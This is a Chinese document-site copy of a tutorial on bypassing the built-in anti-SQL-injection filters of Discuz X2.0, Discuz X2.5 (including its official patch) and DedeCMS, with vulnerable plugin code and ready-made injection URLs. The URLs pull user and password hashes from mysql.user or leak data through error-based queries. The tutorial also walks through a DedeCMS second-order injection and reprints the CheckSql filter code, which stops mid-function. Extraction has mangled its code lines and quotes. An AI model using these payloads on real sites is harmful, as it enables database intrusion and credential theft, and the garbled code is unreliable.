几种通用防注入程序绕过方法doc.docx

上传人:b****4 文档编号:3755105 上传时间:2022-11-25 格式:DOCX 页数:24 大小:178.97KB
下载 相关 举报
几种通用防注入程序绕过方法doc.docx_第1页
第1页 / 共24页
几种通用防注入程序绕过方法doc.docx_第2页
第2页 / 共24页
几种通用防注入程序绕过方法doc.docx_第3页
第3页 / 共24页
几种通用防注入程序绕过方法doc.docx_第4页
第4页 / 共24页
几种通用防注入程序绕过方法doc.docx_第5页
第5页 / 共24页
点击查看更多>>
下载资源
资源描述

几种通用防注入程序绕过方法doc.docx

《几种通用防注入程序绕过方法doc.docx》由会员分享,可在线阅读,更多相关《几种通用防注入程序绕过方法doc.docx(24页珍藏版)》请在冰豆网上搜索。

几种通用防注入程序绕过方法doc.docx

几种通用防注入程序绕过方法doc

几种通用防注入程序绕过方法

0×00前言

目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。

0×01Discuzx2.0防注入

防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。

漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示

 

01

functiongetGoods($id){

02

      $query=DB:

:

query(‘select*from‘.DB:

:

table(‘v63_goods’).’where`id`=’.$id);

03

        $goods=DB:

:

fetch($query);

04

        $goods['endtime2']=date(‘Y-m-d’,$goods['endtime']);

05

        $goods['price2']=$goods['price'];

06

        if($goods['sort']==2){

07

            $goods['endtime2']=date(‘Y-m-dH:

i:

s’,$goods['endtime']);

08

            $query=DB:

:

query(“select*from“.DB:

:

table(‘v63_pm’).”wheregid=’$goods[id]‘orderbyiddesc“);

09

            $last=DB:

:

fetch($query);

10

            if(is_array($last)){

11

                $goods['price']=$last['chujia'];

12

                $goods['uid'] =$last['uid'];

13

                $goods['username'] =$last['username'];

14

                $goods['pm']=$last;

15

                if(time()+600>$goods['endtime']){

16

                    $goods['endtime']=$last[time]+600;

17

                    $goods['endtime2']=date(‘Y-m-dH:

i:

s’,$last[time]+600);

18

                }

19

            }

20

        }

21

        return$goods;

22

}

 

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:

下面可以构造如下请求触发漏洞了,如图所示:

不过程序内置了一个_do_query_safe函数用来防注入,如图所示

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

因为我们的url中出现了unionselect,所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

1

http:

//localhost/discuzx2/plugin.php?

id=v63shop:

goods&pac=info&gid=1and1=2union/*!

50000select*/1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13frommysql.user

这里我们跟踪一下,绕过的具体过程。

它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

1

select * from pre_v63_goods where `id`=1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示

此时$clean值,如图所示

此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:

0×02DiscuzX2.5防注入

 

防注入原理

DiscuzX2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示

这里$_config['security']['querysafe']['afullnote']默认被设置为0,重点关注这一点。

这里跟踪一下失败的原因,如图所示:

此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示:

其实,程序执行到这里跟DiscuzX2.0没有区别,$clean的值都一样。

但是关键在下面,如图所示:

因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:

 

所以注入失败。

绕过方法

在Mysql当中,定义变量用@字符,可以用set@a=’abc’,来为变量赋值。

这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@’放入sql语句当中,帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤,如下所示:

1

http:

//localhost/discuz/plugin.php?

id=v63shop:

goods&pac=info&gid=@`’`unionselect@`’`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14frommysql.user

这里跟踪一下执行的过程,如图所示:

这里有一个if判断,重点看这句

1

$clean=preg_replace(“/’(.+?

)’/s”,”,$sql);

它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用

1

@`’` union select @`’`

这样的方法,在下面的过滤中省掉unionselect,这里跟踪一下,如图所示:

这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:

不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。

官方的修复代码如下:

加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:

1

if(strpos($sql,’/')===false&&strpos($sql,’#')===false&&strpos($sql,’–‘)===false){$clean=preg_replace(“/’(.+?

)’/s”,”,$sql);}

这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:

1

http:

//localhost/discuz/plugin.php?

id=v63shop:

goods&pac=info&gid=`’`or@`”`unionselect1from(selectcount(*),concat((selectdatabase()),floor(rand(0)*2))afrominformation_schema.tablesgroupbya)bwhere@`’`

这里我引入了`’`用来隐藏第一个@字符,并将第一个@`’`替换为@`”`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示:

  

可以看到$clean变为

1

select*frompre_v63_goodswhere`id`=“

成功绕过补丁,如图所示:

不过这样做的代价是不能再使用unionselect了,只能通过报错获取数据。

0×03DedeCMS防注入

 

防注入原理

这里我也以最近热点分析的dedeCMSfeedback.php注入漏洞为例,分析如何绕过其防注入系统。

不过在这之前,还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行,代码如下所示

01

php

02

if($comtype == 'comments')   

03

{        

04

$arctitle = addslashes($title);

05

         $typeid = intval($typeid);  

06

         $ischeck = intval($ischeck);

07

         $feedbacktype =preg_replace("#[^0-9a-z]#i", "", $feedbacktype); 

08

         if($msg!

="")    

09

         {        

10

         $inquery = "INSERTINTO'#@__feedback'('aid','typeid','username','arctitle','ip','ischeck','dtime','mid','bad','good','ftype','face','msg')VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0′,'0′,'$feedbacktype','$face','$msg');";

11

         $rs = $dsql->ExecuteNoneQuery($inquery);

12

         if(!

$rs)            

13

         {                

14

         ShowMsg('发表评论错误!

','-1′);

15

         //echo$dsql->GetError();

16

         exit();           

17

         }       

18

         }   

19

         }    

20

         //引用回复    

21

         elseif($comtype == 'reply')   

22

         {        

23

         $row = $dsql->GetOne("SELECT*FROM'#@__feedback'WHEREid='$fid'");

24

         $arctitle = $row['arctitle'];        

25

         $aid =$row['aid'];        

26

         $msg = $quotemsg.$msg;        

27

         $msg =HtmlReplace($msg,2);        

28

         $inquery = "INSERTINTO'#@__feedback'('aid','typeid','username','arctitle','ip','ischeck','dtime','mid','bad','good','ftype','face','msg')VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0′,'0′,'$feedbacktype','$face','$msg')";

29

         $dsql->ExecuteNoneQuery($inquery);    

30

         }

这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。

跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。

进一步跟踪下面的代码,在第268行,如下所示

1

$row = $dsql->GetOne(“SELECT*FROM`#@__feedback`WHEREid=’$fid’”);$arctitle = $row['arctitle'];

这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,

1

$inquery =“INSERTINTO`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                VALUES(‘$aid’,'$typeid’,'$username’,'$arctitle’,'$ip’,'$ischeck’,'$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,'$face’,'$msg’)”;

这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。

由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。

绕过方法

众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。

其代码如下所示:

001

functionCheckSql($db_string,$querytype=’select’)

002

    {

003

        global$cfg_cookie_encode;

004

        $clean=”;

005

        $error=”;

006

        $old_pos=0;

007

        $pos=-1;

008

        $log_file=DEDEINC.’/../data/’.md5($cfg_cookie_encode).’_safe.txt’;

009

        $userIP=GetIP();

010

        $getUrl=GetCurUrl();

011

 

012

        //如果是普通查询语句,直接过滤一些特殊语法

013

        if($querytype==’select’)

014

        {

015

            $notallow1=”[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@.-]{1,}”;

016

 

017

            //$notallow2=“–|/*”;

018

            if(preg_match(“/”.$notallow1.”/i”,$db_string))

019

            {

020

                fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||SelectBreakrn”);

021

                exit(“SafeAlert:

RequestErrorstep1!

”);

022

            }

023

        }

024

 

025

        //完整的SQL检查

026

        while(TRUE)

027

        {

028

            $pos=strpos($db_string,’”,$pos+1);

029

            if($pos===FALSE)

030

            {

031

                break;

032

            }

033

            $clean.=substr($db_string,$old_pos,$pos-$old_pos);

034

            while(TRUE)

035

            {

036

                $pos1=strpos($db_string,’”,$pos+1);

037

                $pos2=strpos($db_string,’’,$pos+1);

038

                if($pos1===FALSE)

039

                {

040

                    break;

041

                }

042

                elseif($pos2==FALSE||$pos2>$pos1)

043

                {

044

                    $pos=$pos1;

045

                    break;

046

                }

047

                $pos=$pos2+1;

048

            }

049

            $clean.=’$s$’;

050

            $old_pos=$pos+1;

051

        }

052

        $clean.=substr($db_string,$old_pos);

053

        $clean=trim(strtolower(preg_replace(array(‘~s+~s’),array(‘‘),$clean)));

054

 

055

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它

056

        if(strpos($clean,’union’)!

==FALSE&&preg_match(‘~(^|[^a-z])union($|[^[a-z])~s’,$clean)!

=0)

057

        {

058

            $fail=TRUE;

059

            $error=”uniondetect”;

060

        }

061

 

062

        //发布版本的程序可能比较少包括–,#这样的注释,但是黑客经常使用它们

063

        elseif(strpos($clean,’/*’)>2||strpos($clean,’–’)!

==FALSE||strpos($clean,’#')!

==FALSE)

064

        {

065

            $fail=TRUE;

066

            $error=”commentdetect”;

067

        }

068

 

069

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库

070

        elseif(strpos($clean,’sleep’)!

==FALSE&&preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~s’,$clean)!

=0)

071

        {

072

            $fail=TRUE;

073

            $error=”slowndowndetect”;

074

        }

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 求职职场 > 简历

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1